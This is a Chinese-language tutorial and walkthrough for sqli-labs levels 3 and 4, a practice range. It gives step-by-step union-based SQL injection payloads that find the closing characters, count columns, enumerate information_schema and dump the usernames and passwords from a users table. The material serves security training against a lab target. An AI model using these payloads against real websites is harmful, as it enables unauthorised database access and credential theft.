文章目录

  • SQL注入基本流程
    • 1.判断是否为动态网站
    • 2.输入\(这里可以随便输入符号,只是\与其他字符容易分清)得到开发程序员用什么字符闭合ID
    • 3.输入布尔表达式判断是否存在SQL注入
    • 4.利用order by得到列数,利用union select得到输出点
    • 5.使用union select得到基本信息,然后爆数据库、爆数据表、爆列(字段)、爆数据
  • less 3的打靶过程
    • 1.判断是否为动态网站
    • 2.得到闭合字符
    • 3.判断是否存在SQL注入
    • 4.判断输出列数,得到输出点
    • 5.得到基本信息,爆库、爆表、爆列、爆数据
  • less 4的打靶过程
    • 1.判断是否是动态网站
    • 2.输入\得到闭合符号
    • 3.输入布尔表达式判断是否存在SQL注入
    • 4.判断输出列数和输出点
    • 5.得到基本信息,爆库,爆表,爆列,爆数据
  • 总结

SQL注入基本流程

1.判断是否为动态网站

判断是否为动态网站根本依据是网站是否与后端数据库相连,过程很简单只需要在网站里输入不同的ID,如果会出现不同的数据就证明这是一个动态网站。输入ID的地方通常有两个,一个是网站里的输入框,一个是浏览器网站的输入框。

在网站里的输入框可直接输入字符;

在浏览器网站输入框输入字符时,需要注意两点:在地址后面输入,在输入ID前要加上?ID=之后再输入字符。

2.输入\(这里可以随便输入符号,只是\与其他字符容易分清)得到开发程序员用什么字符闭合ID

在第一步输入的ID后面加\,会得到回显,回显中会显示开发程序员用什么字符闭合ID的,如图所示就是’)

3.输入布尔表达式判断是否存在SQL注入

根据第二步得到开发程序员用的闭合ID字符,在输入框输入1’) and 1=1。如果得到输出结果,证明用户可通过输入SQL语句得到数据,所以存在SQL注入

4.利用order by得到列数,利用union select得到输出点

输入1’) order by 3 – -,会得到回显列数证明大于等于3列

输入1’) order by 4 – -,显示4是未知列,所以总共只有3列

知道有3列后就通过-1’) union select 1,2,3 – -找到输出点,如图所示输出点为:2和3

5.使用union select得到基本信息,然后爆数据库、爆数据表、爆列(字段)、爆数据


在进行第五步之前需要复习一下一丢丢数据库的知识
version():用来查询数据库版本
查询版本号的原因是判断版本号是否在5.0以上,数据库版本在5.0以上则会含有information_schema库
在information_schema库中有两个重要的表(COLUMNS、TABLES)
1.1)COLUMNS表中含有三个重要的列TABLE_SCHEMA、TABLE_NAME、COLUMN_NAME
1.2)TABLE_SCHEMA列包含所有的数据库名
1.3)TABLE_NAME列包含所有的数据表名
1.4)COLUMN_NAME列包含所有的列名
2.1)TABLES表中包含数据库和表的对应关系,含有两个重要的列(TABLE_SCHEMA、TABLE_NAME)
2.2)TABLE_SCHEMA列包含所有数据库名
2.3)TABLE_NAME列包含所有数据表名
database():用来查询数据库名
group_concat():显示所有查询到的数据

使用-1’) union select 1,version(),database() – -得到数据库版本和数据库名,得到版本号在5.0以上就可以使用information_schema库以及里面的表和列

我们通过上一步知道了mysql的版本号以及与网站相连的数据库名,然后我们就可以使用information_schema库里的tables表中的table_schema和table_name这两列的对应关系得到与网站相连的数据库里的表,简而言之就是已知数据库名,然后通过tables表中数据库名和数据表名的对应关系,得到已知数据库里的表名。

用-1’) union select 1,group_concat(table_name),3 from information_schema.tables where tables.table_schema=‘security’ – -,在2输出点那里就会输出security数据库里面的所有表名:emails,referers,uagents,users

得到表名之后,我们就可以通过表名得到里面的列名,这个需要用到information_schema库里的columns表中的三个列,table_schema(数据库名)、table_name(数据表名)、column_name(列名),现如今我们已知数据库名和数据表名那么我们就能查到列名。选择一个自己想知道表里内容的表,我选的是users这个表。

使用-1’) union select 1,group_concat(column_name),3 from information_schema.columns where columns.table_schema=‘security’ and columns.table_name=‘users’ – -
结果也是在2输出点输出,security库里users表里有id,username,password三个列

得到列名之后,就可以查询数据了,通过上一步我们知道在users表中有id,username,password三个列,我们便可以查询username,password。
使用-1’) union select 1,group_concat(username),group_concat(password) from users – -
会得到users表中的username和password,也就是网站所有的用户名和密码

得到所有的用户名和密码至此SQL注入结束,当然还可以利用information_schema库里的tables、columns表查询到其他库里的数据。

less 3的打靶过程

在前面的SQL注入的基本流程中用的就是less 3演示的,所以关于less 3的打靶过程我们一带而过

1.判断是否为动态网站

输入ID不同,数据不同,则为一个动态网站,第一幅图是ID=1的结果,第二幅图是ID=2的结果。


2.得到闭合字符

输入\会得到回显,在回显中\后面的符号就是闭合符号('))

3.判断是否存在SQL注入

在输入框输入1’) and 1=1。如果得到输出结果,证明用户可通过SQL语句得到数据,所以存在SQL注入

4.判断输出列数,得到输出点

第三列显示回显,第四列显示未知列,所以输出三列


确定列数之后,便可以通过union select得到输出点

5.得到基本信息,爆库、爆表、爆列、爆数据

使用union select得到基本信息,版本号和数据库名

爆库,得到表名

爆表,得到列名

爆列,得到数据

至此,less 3的打靶过程结束。

less 4的打靶过程

1.判断是否是动态网站

根据ID不同得到不同的回显内容,由此判断这是一个动态网站。


2.输入\得到闭合符号

输入\后,得到回显之后\之后就是闭合符号,在less 4中的闭合符号是")

3.输入布尔表达式判断是否存在SQL注入

输入一个布尔表达式,得到了回显,证明用户可通过输入SQL语句得到数据,所以存在SQL注入

4.判断输出列数和输出点

使用1") order by 3 – -得到了回显,证明不止有三列,使用1") order by 4 – -显示4列是未知列,所以总共是3列


使用-1") union select 1,2,3 – -,得到输出点,如图所示,2和3是输出点

5.得到基本信息,爆库,爆表,爆列,爆数据

使用-1") union select 1,version(),database() – -,得到数据库版本和数据库名,数据版本在5.0以上则可以使用information_schema库以及该库里的表和列

通过information_schema库里的tables表得到security库里面的表
使用-1") union select 1,group_concat(table_name),3 from information_schema.tables where tables.table_schema=‘security’ – -


通过information_schema库里的columns表得到users表中的列
使用-1") union select 1,group_concat(column_name),3 from information_schema.columns where columns.table_schema=‘security’ and columns.table_name=‘users’ – -

通过上一步得到的列,然后得到想要的数据
使用-1") union select 1,group_concat(username),group_concat(password) from users – -

至此,less 4 打靶过程也结束了


总结

less 3和less 4的打靶过程就只有闭合符号不同,其余的命令都一模一样。但目的为了熟悉SQL注入的流程,所以我们再次总结一下SQL注入流程
1.是否为动态网站
2.得到闭合符号
3.判断是否存在SQL注入
4.判断输出列和输出点
5.得到基本信息,爆库,爆表,爆列,爆数据

打靶sqli-labs靶场3-4相关推荐

  1. SQLi LABS Less 27a 联合注入+布尔盲注+时间盲注

    第27a关是双引号字符型注入: 过滤了注释(/* -- #),关键字(select union),空格: 这篇文章提供联合注入.布尔盲注.时间盲注三种解题方式. 其他 SQLi LABS 靶场的解题步 ...

  2. SQLi LABS Less 27 联合注入+报错注入+布尔盲注+时间盲注

    第27关是单引号字符型注入: 过滤了注释(/* -- #),关键字(select union),空格: 这篇文章提供联合注入.报错注入.布尔盲注.时间盲注四种解题方式. 其他 SQLi LABS 靶场 ...

  3. SQLi LABS Less 26a 联合注入+布尔盲注

    第26a关是单引号+括号的字符型注入: 后台过滤了关键字( and  or ),注释(/*  #  --  /),空格: 这篇文章提供联合注入.布尔盲注.两种解题方式. SQLi LABS其他关卡可以 ...

  4. SQLi LABS Less 25 联合注入+报错注入+布尔盲注

    第二十五关单引号字符型注入: 过滤了关键字(and.or),可以使用双写绕过: 这篇文章提供了联合注入.报错注入.布尔盲注三种解题方法. SQLi LABS 其余关卡可参考我的专栏:SQLi-LABS ...

  5. SQLi LABS Less-8 布尔盲注

    「作者主页」:士别三日wyx 「作者简介」:CSDN top200.阿里云博客专家.华为云享专家.网络安全领域优质创作者 第八关是单引号字符型注入,推荐使用布尔盲注 方式一:布尔盲注 第一步.判断注入 ...

  6. SQLi LABS Less-26 联合注入+报错注入+布尔盲注+时间盲注

    第26关是单引号字符型注入: 后台过滤了关键字( and  or ),注释(/*  #  --  /),空格: 这篇文章提供联合注入.报错注入.布尔盲注.时间盲注四种解题方式. 目录 一.功能分析 二 ...

  7. SQLi LABS Less 25a 联合注入+布尔盲注+时间盲注

    第25a关是数值型注入: 后台过滤了关键字(and.or),可以双写绕过: 这篇文章提供联合注入.布尔盲注.时间盲注三种解题方式. SQLi-LABS 其余关卡,可以参考我的专栏:SQLi-LABS ...

  8. SQLi LABS Less 23 联合注入+报错注入+布尔盲注

    第23关是单引号字符型注入: 过滤了注释,使用闭合引号来绕过: 这篇文章提供联合注入.报错注入.布尔盲注三种解题方式. 一.功能分析 这一关是一个简单的查询功能,在地址栏输入id,后台根据id查询数据 ...

  9. SQLi LABS Less-11 联合注入+报错注入

    第十一关是单引号字符型注入,推荐使用联合注入.报错注入 方式一:联合注入 参考文章:联合注入使用详解 原理+步骤+实战教程 第一步.判断注入类型 用户名输入: a' or 1 -- a 密码随便输入: ...

  10. SQLi LABS Less 10 时间盲注

    第十关是双引号字符型注入,推荐使用时间盲注. 一.功能分析 二.思路分析 三.解题步骤 方式一:时间盲注 第一步.判断注入条件 第二步.判断长度 第三步.枚举字符 脱库 一.功能分析 二.思路分析 页 ...

最新文章

  1. 关于亿级账户数据迁移,你应该试试这种方法...
  2. python画函数图-Python 绘制你想要的数学函数图形
  3. express细节点注意
  4. 小程序执行运行过程原理_活性污泥法基本原理、净化反应过程、工艺类型和运行过程中存在的问题...
  5. Python中operator模块的操作
  6. verilog时钟翻转怎么写_verilog实时可调时钟代码
  7. 碉堡了,独家首发Java核心知识点总结,超全!
  8. 研发项目wbs分解简单案例_wbs模板(wbs工作分解结构案例)
  9. python搬运youtube视频_使用Python将YouTube视频下载到某个目录
  10. arcgis的重采样和插值方法
  11. c/C++笔试题总结
  12. 银行卡识别技术-移动支付新宠儿
  13. 1072: 分解质因子
  14. cad修改快捷键_CAD教程:CAD建筑户型图纸还能这么画?
  15. PoE供电交换机的四种连接方式
  16. F. chino with ball
  17. 如何制作证件照?证件照怎么在线制作?
  18. 电脑文件打不开怎么解决
  19. MySQL基础篇-MySQL 命令大全
  20. CDH/YRAN_集群调优

热门文章

  1. ElementUI组件日历组件Calendar背景色修改
  2. SSM+实验室门禁管理系统 毕业设计-附源码221252
  3. Largest Common Submatrix
  4. 【唐诗三百首】杜甫《梦李白·其二》创作背景及赏析
  5. 中兴pon网络设备升级,原理,教程,实例
  6. uni-app 表情、键盘切换输入组件
  7. python面试宝典之数据库
  8. 江南爱软装十大品牌 软装的风格你都知道多少?
  9. win10密码忘了怎么办_VIVO iQOO忘了锁屏密码怎么办?VIVO iQOO忘了锁屏密码进入系统方法...
  10. linux ftp匿名只能下载,解决linux ftp匿名上传、下载开机自启问题